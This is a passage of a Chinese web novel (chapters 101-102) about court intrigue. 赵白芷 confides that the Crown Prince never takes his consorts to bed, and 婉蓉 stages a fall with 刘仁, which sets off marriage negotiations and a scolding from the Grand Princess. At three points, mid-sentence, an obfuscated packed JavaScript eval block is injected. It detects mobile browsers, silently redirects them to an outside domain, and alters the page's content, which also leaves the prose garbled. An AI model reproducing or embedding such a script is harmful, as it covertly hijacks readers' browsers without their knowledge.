“对症就好。”关怀素神色一松,说到事儿,她便自然起来,温声说,“你嗓子听着还是不舒服,如今天气愈发暖了,到了酷暑时节,药还要再换一次,一年四季都要换方子,吃食也要多注意一下,可千万别吃了冲撞的食物。” 周乐天说不出话来,笨拙地连连点头应是。 说到这里,关怀素猛地就想到了姨母的事情,便问周乐天:“侯爷,这流民之中,可有孤儿?” 周乐天一愣,关怀素立刻便把姨母的事情说了,又说到了自己和姨母商量下来的打算。 听到正事,周乐天这才稍微冷静下来,思考一下说:“要不要我叫人把那家人送京师府衙大牢里清醒一番?” 见关怀素说不急,他才又说:“流民之中,无父无母的孤儿不少,年纪小的也有,过几日找机会,我叫人报去程姨母那儿,叫她看看有没有有眼缘的。” 关怀素大喜,连忙道谢,周乐天却摇头,有些不好意思地说:“这又不是什么大事,不必道谢。” 正事说完了,关怀素看着前方赵白芷与太子和乐融融的模样,忍不住又问:“白芷姐姐瞧着与太子殿下感情很好。” 周乐天看过去,神色柔和了一些,轻声说:“外头的许多传言都不尽实,殿下性子至真至纯,平素并无喜好,自小唯一便嗜雅乐。他与一般人不同,能听出奏乐者心声,白芷性子沉静,不喜多言,遇到殿下,未尝不是好事。” 关怀素心中希望如此,又想到太子当初听宋兰奏笛就要把对方带回去,心中却还是有些担心。 说话之间,几人走到了一处拐角处,刚好有一处八角亭,可以休憩观景,赵白芷与太子在亭子里坐下,宫人们飞速挂了长长的避风帘,又在八角亭里放了炭火炉子,石桌上放了煮茶的全套茶器。 “怎地这就休憩了?”周乐天走过去,奇怪地说,“才将将走下来一些呢。” “表兄身体不好,不能走太久。”太子语调直白地说,虽在说关切的话,但是因为语没有起伏,显露出一股子奇怪的感觉。 周乐天一笑,带着关怀素入亭子内,在垫了厚厚的毛毡子上坐下来,关怀素这才发现才短短一炷香时间,这亭子里已经被布置的如家里般舒适。 不但暖烘烘的,且靠着山谷处的地方竹帘卷起,一边围炉煮茶一边可欣赏满山春日苍翠,竟是惬意非常。 “都怪我身体不好,连累你们只能这样看风景。”周乐天有些不好意思地致歉,然后说,“要不把周围避风帘都掀起来吧,这样敞亮些,也不错过风景。” 太子殿下立刻摇头,执拗地重复:“表兄身体不好,不可冒风。” 赵白芷也温声说:“何至于此,这样也很舒服呢。” 关怀素笑着说:“侯爷说这话,可见不懂工学。” 这话一出,众人纷纷都看她。 关怀素便笑着指着那卷起的两扇竹帘,说:“这世上万种风光,郎阔大山自有开阔雄浑之美,但是工学还会辅以八角窗、横垣、拱门等等框景、断景,能让人专注一角美景,亦是美不胜收。” 关怀素笑着说:“如今我们如此,以风帘为断,窗做两扇,这碧海如涛,都为我们窗内美景,世上还有比这更快活的事儿吗?” 赵白芷闻言,抚掌而笑,连声说:“是极,青山苍翠、连环如碧,全纳两扇之内。姐姐说得极妙,当浮一大白!” 说完赵白芷拿起热茶,笑着举杯说:“我便以茶代酒,敬姐姐这句妙言!” 她一口喝下,关怀素也拿起茶杯一饮而尽,而后两人相视一笑,亭子里登时气氛和乐起来。 “你说得对,倒是我无知了。”周乐天一笑,也拿起茶杯,刚想喝茶,关怀素正要说话,却突然看到太子一把抢走周乐天手中的茶杯,认真地说,“表兄喝药,不能喝茶。” 又从旁边拿起一杯白水,说:“喝水,热的。” 关怀素心中暗暗纳罕,因太子越是接触,确实越觉得性子纯善,竟与传闻判若两人。 四人之间气氛愈发愉快,围炉煮茶,看着外头景色,便闲聊起来。 刚开心说了一会子,外头突然走进来一个老嬷嬷,正是之前帮着赵白芷挡人的嬷嬷,她进来问安之后,便轻声说:“太子妃传话,说是付美人瞧着不好了。” 太子皱眉,冷声说:“什么不好了?” “殿下,付美人本就身子病弱,郎中说了,恐是熬不过这个春天。”嬷嬷轻声对太子说,“付美人要去世了。” 太子似乎明白了,皱眉,沉默一下,说:“叫她好好安排吧。” “殿下,付美人是翰林院侍读付大人家的吧?”赵白芷突然开口,那嬷嬷像得救一般,连连应是,赵白芷便对太子说,“殿下,您得回去看看,陪一陪付美人。否则他日付大人知道,心中只怕会难受的。” 太子皱眉,有些不高兴地说:“可是我不想回去,我想在这里陪着你。” 他说这话天真又残忍,像是孩子在闹脾气,让本对太子改观的关怀素瞬间恶感大生,心中只觉得悲凉又愤怒。 周乐天怕出问题,陪着太子一路回去,留下赵白芷和关怀素在这里继续喝茶。 人一走,关怀素的脸色就冷下来。 赵白芷看她表情,立刻说:“姐姐似乎不太喜欢殿下?” 关怀素立刻收了神色,轻声说:“白芷妹妹,我不是那个意思……” 说到这里,又觉得不想找借口,只轻声说:“白芷妹妹,虽然我瞧着你过得很好,可太子殿下竟对昔日陪伴自己的姬妾如此冷情,我瞧着十分担忧。” 赵白芷知道她是把她当真心的好友,才在如此身份地位的情况下跟她说这些体己话,她神色有些动容,使了个眼色,下人都退了出去,亭中只剩下她们二人,赵白芷才轻声对关怀素说:“此事说来话长,殿下其实从未宠幸过府中妻妾。” “你说什么?!”关怀素登时大惊。 实在是这事儿太离奇了,要知道之前太子爱色,可是出名的!便是之前还闹出过强抢大臣家的妾室的事情。虽贵为太子,这些事情不算个什么,可到底也算得上荒唐了。 这时候赵白芷说太子根本没宠幸过这些人,关怀素完全无法理解。 而且她冷静了一下,意识到赵白芷说的是“妻妾”,登时更震惊了,脱口而出:“你是说,便是太子妃也?” 赵白芷点头,示意关怀素没有理解错误。 其实赵白芷一开始嫁过去的时候,心中悲苦难耐。 她心悦乐天哥哥,其实只算是少女情窦初开的心悦,倒不至于为了此事要死要活。 赵白芷更难过的是,太子七情不开,性子又荒唐,满屋都是姬妾,她嫁过去,上有太子妃,下面还有这些莺莺燕燕,开始摸不清楚底细,也不知道要受多少委屈。 只是圣人赐婚,她什么都不敢表现出来,只能咬牙面上一派镇定地出嫁。 可是嫁的不是自己喜欢的人,出阁之前还要被福宁郡主发疯闹一场,等到了太子府,赵白芷其实心中就凄苦难言。 等太子刘钰到屋里的时候,赵白芷还在勉力强撑起笑容,结果刘钰掀开喜帕,看到她的第一眼就问她:“那天我就想问你,你为什么不开心?” 当时一句话就给赵白芷弄呆滞了。 赵白芷笑意盈盈地说:“今儿是大喜的日子,我怎会不开心呢?” 结果刘钰看着她,突然说:“那你弹琴。” 赵白芷给他闹得有些愣,才看到闺房之中的古琴,她茫然地过去,随手弹了一段,而后刘钰就认真地看着她说:“你骗人,你不开心,你很害怕。” “那时候我才知道,古人说闻弦音而知雅意,竟不是吹嘘。他……虽七情不开,但是其实是个非常好、非常敏锐的人。”赵白芷说到这里,轻声对关怀素说,“不怕姐姐觉得我丢人,那日我听到殿下如此说完,当场没忍住,竟一下子流下泪来。” 关怀素十分紧张,大婚之日哭泣,这可是明晃晃地表达不满,若是叫外人知道,只怕赵白芷直接被厌弃、良娣之位被废都有可能! 赵白芷自己也知道,所以她落下泪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16354809|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 之后,吓得连忙跪地请罪,却没想到被刘钰扶起来,而后突然对她说:“你不要哭,我以后会保护你。” 他连保证,都显得孩子气的笨拙,什么都没搞明白,已经给出了誓言。 可偏偏是这么笨拙的样子,反叫从小一直被教导的滴水不漏的赵白芷,感觉到了一种强烈的安全感。 但是赵白芷当日并没有信他,直到后面连续遇到了好几次事情,又经历了太子妃的刁难和后宅几个不安分的美人挑衅,赵白芷心中凄苦难言,在屋里弹琴之后,被刘钰追着问到底是什么事情。 她气得很,刘钰偏不走,屏退下人一直追问,叫赵白芷心中凄苦,最后没憋住全数发作出来,才知道了太子妃与那几个美人暗示良多,其实根本就没有近太子的身。 “咱们殿下一贯从来不进后宅,太子妃与各路美人全数是圣人与娘娘赐下来的,殿下从没宠幸过。”太子府里的管事嬷嬷后来私下与赵白芷说,去年底,圣人和娘娘都知道殿下脾气犟,便拿了许多闺秀给殿下亲自选良娣,殿下本来说谁都不选,都不喜欢,圣人生气,赐婚了良娣之后,殿下还说反正他不会理良娣。 结果后来女儿节之后,太子殿下亲自叫人收拾了良娣的屋子,又去后宫亲自请太后赐下太子妃规制的凤冠,准她穿正妃规制出嫁。 而且……赵白芷也是他唯一一个圆房的女子,太子妃和那些侍妾为何频频针对赵白芷? 实在是她自己不知道,她目前为止是唯一一个名正言顺的太子的女人。 “不怕姐姐笑话,我原以为府中姬妾颇多,太子妃无所出,选了我,许是为了肚子的事儿……”赵白芷喝了口茶,轻笑了一下,说,“我没想到,府中的一切,与我想的竟是完全不同。” 她看着仪态雍容、气质舒展,瞧着就知道过得舒心。 可是关怀素却还是忍不住问她:“可是白芷姐姐,你不会觉得不甘心吗?” 赵白芷知道她是什么意思。 她笑了一下,轻声说:“姐姐,你只看到殿下七情不开,可是你却不知道,于我来说,殿下这样,却是顶好的。” 她赵白芷,算得上京中顶尖的闺秀。 无论是才情、外表还是待人接物,处处都是找不出错的十全姑娘。 全京师的小姐妹都说她好,大人们也是赞不绝口,可是赵白芷的日子是怎么过来的,只有她自己知道。 她从小就被教导如何钻研人心,要怎么洞察他人,而后再学会用这些方法,学着去待人接物,要处处周全、算计人心。 她从五六岁开始,就已经知道行走要端庄,笑不露齿、行动之中,鬓发步摇不得稍乱。 再大一点,马上就要学着各种管家庶务,还要学着开始举办宴会、招待亲朋,如何做一个完美的女主人。 …… “父母之爱子,则为之计深远。我小时候总觉得,父母对我虽严格了些,但是一切都是为了我好。”赵白芷叹了口气,眼圈微热,轻声说,“所以我学得很努力,我真的很想成为让爹娘都夸赞的、最懂事聪明的姑娘。” 直到听到自己要被指婚给太子的消息,那时候若是家里不愿意,其实还有许多周旋方法。 可是父母却没有一个愿意听她诉说,全在欢喜鼓舞,恨不得明日就把事情定下来。 后来圣旨下来,尘埃落定,个个愈发喜悦。 没有一个人问她的意思,也没有人在乎。 赵白芷很聪明,赵家花了举族之力培养了她,教她看透人心、教她识破龃龉,所以理所当然地,她也能看透这背后是为什么。 因为她是家族的一枚棋子,她嫁得高些,不是正妻又如何?在后宅艰难斗争又如何? 都不要紧。 输了,那算她赵白芷本事不济。 但是若是赢了,那么赵家一家,从此以后可就算多了株遮天蔽日的大树,日后可以庇护全家。 赵白芷不恨家里人,她被悉心培养,当然知道这里头,她和家族是互惠互利。 她只是了悟了这慈爱之后的代价,从而有些寂寥罢了。 “可是就像姐姐你总想护着小侯爷一般,我也喜欢这样的殿下。”赵白芷喝了一口热茶,轻笑着说,“我和姐姐,都算是看得透彻的人,而姐姐与我不一样,姐姐你性子更果决一些,所以你日后许还能护着乐天哥哥,而我……我喜欢殿下这样纯粹地向着我、护着我,在殿下身边,我终于不用动脑子了,我很开心。” 关怀素看着赵白芷,发现她说的是真话。 赵白芷是真的很喜欢七情不开的太子殿下,虽然这个喜欢,似乎并不是纯粹的男女之情,这喜欢里头很复杂,但是赵白芷起码是真的很喜欢和太子殿下相处。 这是好事。 关怀素终于彻底松了口气,而后才意识到赵白芷话里的意思,立刻有些窘迫地说:“白芷妹妹不要拿我说笑了。” 赵白芷看她一眼,笑意更深,说:“姐姐你今儿眼睛都快黏在乐天哥哥身上了,也就你自己没发现罢了。” 关怀素想到周乐天还不知道自己身份,许他真的倾慕姐姐,自己居于其中,多么尴尬…… 心中突然涌起巨大的苦涩来。 还没来得及说话,却突然听到远处有大喊大叫的声音。 两人齐齐皱眉,外头丫鬟进来,轻声禀告:“良娣,听说李家二姑娘崴到脚了,叫刘仁小郎君背着从山坳里爬上来的。” “什么?!”二人都是一惊。 第一百零一章 寒食节·下 “良娣,李家三姑娘求见!”二人正在震惊之中,外头突然传来老嬷嬷的禀报声。 “叫婉淑妹妹快来!”赵白芷立刻叫进。 帘子掀开,婉淑进门,神色仓促,规矩礼仪却一丝不出错,口呼“良娣安康。” “都是自家人,不必多礼了。”赵白芷忙叫她坐下。 “坐是坐不得了,我这是特地请良娣救一救李家姑娘名声的!”婉淑闻言,眼圈一红,拿着帕子就擦眼泪,连声说,“方才我二姐姐不知为何,和刘仁单单离了队,走到了偏僻处,二姐姐脚滑与刘仁一起摔下山坡,叫不应人,刘仁便背着二姐姐爬上来。” 赵白芷也是刚听到这样的细节,闻言唬了一下,说:“这么吓人!” “是,那情境也顾不得许多,能活下来就是大好事。”婉淑擦了擦眼泪,说,“只是二人上来,十分狼狈,二姐姐衣裳破了、鞋子也丢了一只,叫刘仁背上山,身上还裹着刘仁的外衫,都是未婚男女……如今大家都在说,今儿处置不好,只怕要出事。我厚颜求良娣出面稳住人心,否则我李家姑娘日后只怕再无颜出门了!” 说到这里,婉淑心中终于害怕至极,拿着帕子痛哭出来。 她确实害怕,她刚谋划多年的好婚事就在眼前,转年就是出阁的日子,未来大好前程……可若是今儿婉蓉失了贞洁,刘仁又不打算娶她,日后只怕李家姑娘的日子就难过了,她的婚事能否保住还不一定。 婉淑也知道母亲计划,甚至也有推波助澜,但是她也没想到婉蓉竟这么豁得出去,竟是一点也不给自己留下后路! 暗中定情甚至暗通款曲都可以,私底下随便处置,也都无所谓。怎地非得闹得天底下人尽皆知,两家人这下子都被架在了火上烤,稍有不慎,只怕家里姑娘都会被连累! 赵白芷听到衣裳破了、鞋丢了,便意识到了事情的严重性。 她立刻站起身,说:“走,快去看看。” 婉淑闻言顾不得想别的,起身就带着赵白芷往山道一侧走。 关怀素跟着一路到了下坡山谷处,发现一众年轻人都远远地围在一起,见到赵白芷带着人过来,这才让出一条路来。 人群中间,刘仁挡在婉蓉身前,身上只穿着单衣。 婉蓉身上披着一件男子的外袍,整个人坐在地上脸庞都是眼泪,似乎脚崴了站不起来,瞧着楚楚可怜。 她倒是楚楚可怜了,可这未出阁的女子衣裳破了、被外男背上山谷,身上还披着外男的衣裳,今儿这事儿只怕是难了了。 也难怪婉淑与婉蓉如此不对付,发现的时刻还第一时间找最近且身份最高的赵白芷来求助,实在是今儿婉蓉这事儿闹得太大了,若是不好好解决,明儿开始李家姑娘都不用想留在京师里了。 关怀素这样想,赵白芷也一下子意识到了今儿这事儿要糟了,她立刻开口,说:“哎呀,婉蓉姐姐可有受伤?这里都是荒野,得亏你们命大!” 先把事情从小意外拉到救命的高度,生死攸关,自然可以不必太过拘礼。 说话之中,又使个眼色,对身边老嬷嬷说:“婉蓉姐姐瞧着受惊了,赶紧拿我那披风给姐姐披上,快快上山去看看郎中。” 说话之中,老嬷嬷立刻上前把刘仁的外袍给拿下来,把赵白芷那件外袍给婉蓉换上。 而后几个身强体壮的粗使婆子就立刻上前,把婉蓉背起来扶着,一路上山去了。 刘仁接过外袍,竟是直接又披在了身上,登时叫赵白芷眉头一皱,但是她面上八风不动,只微微笑着点头,说:“刘公子救了婉蓉姐姐一命,真是仁义心肠,也快些上去看看郎中吧?” 刘仁点头,伸手说:“良娣先请。” “大家伙玩耍时注意,山路险峻,可千万别出事,若是跌的再深一些,只怕有性命之忧。”赵白芷转身上山前叮嘱,众年轻男女齐齐行礼应是,目送他们上山。 等他们走之后,今儿的事情只怕要传遍京师了,可是这也是赵白芷能做到的极限了,真正要把今儿这事儿压下去,还得看李家众人与刘仁的博弈了。 “你说什么?!”孙大娘子听到消息的时候,唬得一下子站了起来! 她前一刻还志得意满,尤其见平常几个不怎么搭理她的夫人也一改态度殷勤起来,心中不知多快活。 此刻听到婉蓉衣裳都破了,还教所有人看到婉蓉穿着刘仁的衣裳,孙大娘子脸上血色全无。 听到赵白芷出面,她才稳住心神。 巨大的惊恐褪去,孙萍心中升起怒火,勉力笑着与诸位夫人道恼,走到月洞门前就忍不住掐着扶芳的手恨声说:“什么没眼力见的蠢货!白长那么漂亮一张脸,脑子里都塞的是草吗?边关来的爷们,多少年没见过细皮嫩肉的女人,你哪怕送点手帕、做些点心,再问一下骑马打仗的事情,说几句哄人的话呢……什么不比闹出如此大事,叫全家跟着丢人好?她小娘那身狐媚子本事怎地一点也没学到,下手如此不知轻重,真是比猪还蠢!” 扶芳咬牙忍着疼,轻声提醒:“娘子,这时候不是生气的时候,得赶紧结了这事儿,否则影响到三姑娘就不好了!” “我知道!”孙大娘子哪里不知道这个道理,骂完人立刻长长地吐了口气,刚好到了地方,她换上惊慌神色,进门立刻连声说:“怎么了怎么了?蓉儿可有事?我的天啊,这摔下山可不是小事!” 众人让开,就看到婉蓉脸色发白地躺在厢房床榻上,鬓发都乱了,还有落叶,身上的衣服也都破了,身上还有擦伤,但是脸却干干净净,十分漂亮。 真是蠢猪,生怕别人看不出她是故意的。 孙萍心中厌弃她愚蠢,面上却立刻落下泪来,连声哭喊:“我的儿,你怎么伤的这么重?好好地玩耍,你说你这是做的什么事儿,倒叫家里人担心!” 婉蓉闻言,立刻更虚弱三分,只含泪说:“母亲说的是,都怪我,我瞧着那山坡边上有竟还有长寿花开得好,想着这是个好意图,便想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16355820|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲自采了给祖母,谁料想到没站稳,竟是摔了下去……如今我累人累己……” 说到这里,已经是嚎啕大哭。 门外看热闹的夫人们听到这里,原先有些不屑的眼神,在此刻就有些变了。 “竟是个纯孝的。”有夫人就唏嘘,低声说,“如今四月底,长寿花差不多都在凋谢了,还开得好的确实是罕见,李家这二姑娘孝顺,就是莽撞了些。” “是啊,也是一片孝心。”旁边就有人轻声说,“可惜了……” 为何可惜,在场官眷都心中明白。 这二姑娘虽是庶出,但是李家疼宠,平素瞧着也是娇憨可爱,之前隐约听说是定了稽勋司郎中家的亲事。 可惜出了此事,稽勋司郎中家里只怕不肯认下这门亲事了。 “有什么可惜的?我瞧着这姑娘一片纯孝之心,只是摔了个跤叫人救了而已,治好了就是!”外头一个女子扬声说话,众人回头一看,就看到一个劲装妇人皱眉过来,口中说,“难道她一片孝心,就这样一件小事,竟就有什么问题不成?我瞧着有些酸腐之人,竟把破一点衣裳、被外男救命,看的比性命还大,那些人日后出事,且硬挺着等死,我才佩服他们!” 她这话说得飒爽,众人鸦雀无声。 但是这并不代表大家服气,只是武将女眷骁勇,大家伙不敢正面与她对上罢了。 许多夫人心中并不服气,大约很多还想着,占便宜的是她的远房侄子,一个商户人,如今因为一次救命,只怕要能娶到官家二姑娘了,她当然高兴。 武安将军那儿媳当然懂那些文官女眷在想什么,她其实心里也发苦——她可是得了长公主密令,要给二公子说定李家大姑娘这门婚事。 李家大姑娘可是关娘子的唯一女儿,是大长公主当自个儿姑娘一般疼的。 可这李家二姑娘算什么啊! 偏如今这帮文臣对女眷极为刻薄,这二姑娘此事这回若是不好好解决,只怕要出大事。 这是一场难打的仗,偏自家还不占理,武安将军儿媳心中悲壮,知道这回自己只怕是真要当那被炮轰的王八了! 她心里叫苦,绷着脸进屋,赵白芷跟着也赶来了,身边跟着个面熟的郎君,是赵家的二郎。 武安将军儿媳想起来,这赵家二郎定的就是李家三姑娘为妻,已经过了明路,只差明年婚娶了。 武安将军儿媳心里一沉,知道今儿这事儿棘手了。 若只是普通五品官人家,哪怕出了这事儿,私下说清楚,陪一大笔钱远远嫁出京师去,到底也能解决。 可是李家三姑娘乃是太子良娣的嫂嫂,这二姑娘若是被人救了,就这么远远打发出去,这一巴掌不单是扇在李家脸上,太子良娣这边也不光彩啊! 此事只怕是天大的麻烦。 武安将军儿媳看身后跟着进来的刘仁还一脸无所谓,心中暗恨家里老爷子给她安排这么个苦差事,真是叫天天不应叫地地不灵! 第一百零二章 谈判 孙萍已经下定决心,婉容必须塞给刘仁! 不管是为了自己的谋划还是为了家里不被连累,此事必须如此! 因此孙萍抱着婉蓉哭了几声,见武安将军那儿媳来了,良娣也到了,立刻一横心,转身就要跪下来! 武安将军儿媳就放着她借势逼迫,立刻一把抓住她,稳稳托着她说:“夫人不必如此,大家伙儿散了,我们私下商量吧!” 孙萍哪里肯,她就要借人多定下此事,闻言立刻含泪对着武安将军儿媳说:“妹妹便给我一个准话吧,我们家蓉儿虽然不是我肚子里出来的,但是自小也算是在我跟前长大,一应衣食住行,素来与淑儿一模一样,我也当她是亲生骨肉,今儿她出这样的事,原是她一心想着祖母,行事确实鲁莽,但是既然如此,还望妹妹给她一条生路。” 武安将军儿媳叫苦,她哪里做得了主,只能勉强笑着说:“姐姐你不必担心,二姑娘一心纯孝,必然不会被误解,咱们便收拾收拾,找个地方细说如何?” 二人眼看就要胶着,再下去就不好看了,赵白芷知道内情,也知道刘仁的身份,因此叹了口气,便主动开口说:“去我歇脚的厢房处细说吧。” 孙大娘子心中惊愕,到底不敢违逆,只能咬牙点头答应。 其他人一路出去,婉蓉在屋里换衣服,孙大娘子便在外头等着,等到婉蓉换好了怯怯地出来,孙大娘子便冷笑了一声,说:“好,一会子便这样,你最好求神拜佛,叫老天爷遂了你的愿,不然你看你回去,你爹会不会叫人打死你!” 她这话说完,婉蓉眼泪瞬间下来了,她当时只想着绝不能过得比大姐姐和三妹差,头脑一热,便拉着刘仁故意滚下山去,如今到了这个时候,却也不是不怕的。 她带着哭腔,说:“我真的是不小心的……” “行了,你留着一会儿演吧!”孙大娘子却不吃她这套,只冷声说,“一会儿多的是你演的时候!” 说完她转身就走,婉蓉只能擦了擦泪沉默地跟上。 身边的丫鬟婆子都不敢大声出气,很快到了赵白芷那院子里,各人分别坐下,没了外头人,武安将军儿媳直接开口:“姐姐,不瞒你说,刘仁的事儿我其实做不得主。他乃是大长公主膝下二郎,侯爷的亲弟弟。” 这么一说,孙萍想装傻都不行了。 她心中烦躁,面上却不可置信地说:“妹妹莫不是想框我吧?若他真是公主之子,怎么一开始还要与我家相看?!” 事关关怀素,赵白芷淡淡开口,对武安将军儿媳说:“今儿这事儿,全京师也都知道了,还烦请伯娘帮忙去问个准话,到底要如何办,若是能办,那便皆大欢喜,若是不成……那李家就只能早些自行处置了。” 孙萍闻言,便拿帕子擦眼泪,说:“竟不知道是贵人,既然如此,便算是我家蓉儿命不好,若是实在无法,李家便只能养她一世了。” 这意思说得很明白了,若是能成,此事便算了。但是若是不成,李婉蓉一辈子只能青灯古佛、了此残生了。 相比**,这办法倒是好些,但是婉蓉可不觉得,她吓得肝胆俱裂,立刻哭着跪下,颤声唤:“母亲……我真的不是故意的,我真的不是故意的……” 她颤抖着想为自己求情,但是却仿佛不知道说什么,她本就生得漂亮,这么一哭泪水满脸,仿佛芙蓉带露,叫人好不可怜。 其他人不知如何,但是一直看着的刘仁却真的深深怜惜了——他常年在西北,那边女子都是以飒爽居多,哪里见过如此娇滴滴叫人怜惜的美人儿? 因此见到婉蓉哭得如此惨,又听说若是嫁不成她,这样漂亮的美人儿便要出家,登时心中一急,立刻开口说:“当时婉蓉姑娘摔下山坡,跟我说了,叫我只管先上去叫人来救她,我想着事态紧急,便把她背上来了。是我的错,我不知道你们文官家居然这么奇怪,家中女儿竟是连被人救命都要计较名声。” 他这句话说的直白,除了武安将军儿媳,大家脸上都不好看。 不对,武安将军儿媳也脸上不好看。 其实武安将军儿媳一开始也在怀疑,这事儿实在太凑巧了,会不会是刘仁身份泄露,叫这姑娘起了攀附心思? 可是此刻听刘仁这么说,人家竟十分规矩守礼,偏他大大咧咧,毁了人家姑娘名节。 他做了就算了,此刻这么一说,不是更叫自己无法分说了吗? 武安将军儿媳心中愈发又苦又憋屈,婉蓉却心中狂喜,正要开心刘仁似乎对她很有意思,这时候竟站出来维护她,却没想到刘仁接下来说:“若是真的没办法,那我纳婉蓉姑娘为侧室不就行了?” 这话说的,武安将军儿媳就知道要糟。 果然下一刻,孙大娘子拍案而起,怒喝:“岂有此理!李家虽卑微,却不是那等卖女求荣之辈,更不会把家里养得好好的女儿塞给人做妾!既然如此,今日之事当我李家倒霉,家中女儿之事不须你们烦扰。走!” 说完,孙大娘子怒斥一声,转身就带人离开。 婉淑与关怀素立刻跟上去。 赵白芷也知道此时不能留人,叹了口气,眼看着武安将军儿媳追着喊“孙姐姐,你别生气,他浑说的!”,再看刘仁还是一副不知道自己错在哪里的样子,心中叹气,大为摇头。 寒山寺的风波到此为止,但是李家和大长公主那边的风波,却是刚刚开始。 “你说什么?仁儿救了李家那庶女,还说要纳人家做妾室?”大长公主刚从城外骑马回来,便听到这件事情,一时之间以为自己听错了。 “是真的,小公子已经在外面了。”管事嬷嬷立刻点头,说,“武安将军那儿媳也来了,正在外头候着。” “走,叶英,我们去听听看到底什么事儿。”大长公主气极反笑,把马绳交给下人,带着叶英进门。 一进去,武安将军儿媳就“噗通”一声跪下,然后原原本本把白日流云台寺的事情都说了一遍。 大长公主神色不变,听完只温声对武安将军儿媳说:“起来吧月寒,这事儿你处理的很好,非你之罪。” 说完又对叶英说:“去,带月寒去我私库那边,给月寒挑一柄她喜欢的剑,再给武安将军拿他念了十多年的那柄**。” 这原是武安将军喝茶时,笑说帮忙的礼物,此刻事情没办好,月寒就想推辞,但是她还没开口,叶英却已经给她使个眼色,拉着她就出门去了。 月寒立刻收敛神色,跟着叶英出门选剑。 她们走了,屋里只剩下刘仁和大长公主,刘仁开始还笑嘻嘻的,但是发现母亲一直不说话,隐约也觉察到了不对,便迟疑地唤:“母亲,你可生气了?” 大长公主走到沙盘边,一边看着沙盘上的地势图,一边笑着说:“哦?你说说,我为何要生气?” 刘仁也不是傻子,他当然知道他今儿的话说得太过分,但是他不觉得自己有错,便说:“可是阿娘,我可是您的儿子,那姑娘只是个五品官家里的庶女,我说要纳了她做侧室,也算不得委屈她啊!” “五 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16359683|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 品官,也分哪里的五品,是何职位。关键是,他身边的姻亲故旧。”大长公主看着沙盘上的京师,拿着一枚小小旌旗,似乎是在随意闲聊一般,漫不经心地说,“那你说说,李珺如今是何职位、姻亲故旧有哪些啊?” “他家族不显,并无旁的帮助,不过是与王相一脉亲近,才最近得了吏部考功司的郎中一职。”刘仁不屑地说,“唯一值得夸耀的,也不过是最近女儿与赵家定了亲事,与太子良娣牵扯上一点关系罢了,太子良娣也不至于为了个搭不着边的庶女与我们翻脸,又有何惧?” “嗯,我还当你小孩子冲动,没想到你心中清楚。”大长公主闻言,点了点头,似乎挑准了地方,把旌旗插在了一处河流边,同时说,“那你知不知道,陛下有意下半年提任他为中书舍人,掌起草昭谕之事?” 刘仁登时大惊,说:“怎么会?中书舍人虽是四品,可却是在御前行走,乃是陛下心腹才能做的事情……原先王相也是从这里上去的,这可是拜相之路!” 大长公主听他这么说,这才露出了一丝情绪,冷笑一声,回首斜睨了他一眼,冷声说:“为何不可能?你想想这朝堂上,还有谁没有宗族拖累、崇尚酸腐学说,并曾获关大儒指点、得了许多余泽并同时有王相这个老师的?圣人压他这么多年,他四平八稳,这心性手段,满朝之中同僚里,还有谁比他李珺更适合?” 刘仁一听,立刻回想起昔日听母亲点评朝中诸人,细想一下,与李珺比起来,竟是再无一人有这么多优势。 “可是、可是我以为陛下根本没注意到他,”刘仁越想越是冷汗津津,有些嗫喏地说,“他可是这么多年都在从五品下头厮混……” 大长公主为他的愚钝叹了口气,终于失望了,说:“如此紧要的位置,用人之人反而愈发细细考量。不说别的,若他李珺真的是个草包,只能止步于此,那为何赵家急急忙忙地要定下与他家姑娘的婚事?甚至是我,为何要给你定他家大女儿?” “我以为、以为母亲是看在昔日同窗的份上,想照顾故旧,最多加上关家的技艺……”刘仁愈发不敢答,轻声说到这里,已经是不敢继续。 大长公主看他这样,心中失望,挥手说,“你下去吧。” “母亲,大不了我纳了李家二姑娘为妾室,再娶李婉玉!”刘仁立刻说,“如此一来,我们与李家还是正经亲戚啊。” 大长公主一听,回头眯着眼睛看他。 她的神色非常冷静,但是刘仁不知为何生出一股子紧张来。 他有些期期艾艾地看着母亲。 大长公主沉默了好几息,然后突然说:“来人,送二公子回屋去休息。” 刘仁还想说什么,看母亲脸色不好,便只能悻悻出去了。 叶英进门送茶,大战公主喝了一口,突然长叹一口气,对叶英说:“仁儿被我宠坏了。” “二公子年纪还小呢。”叶英轻声安慰,“慢慢教,总会懂事的。” “十五了,乐天当初这个年纪,已经上阵杀敌了。”大长公主摇头,轻声说。 叶英沉默着,大长公主把茶杯放下,轻声说:“仁儿这事儿,你瞧着怎么办?” “这,得看您想如何安排二公子。”叶英犹豫一下,轻声说。 “他这心性,日后做个富贵闲人,已是极限。”大长公主笑笑。 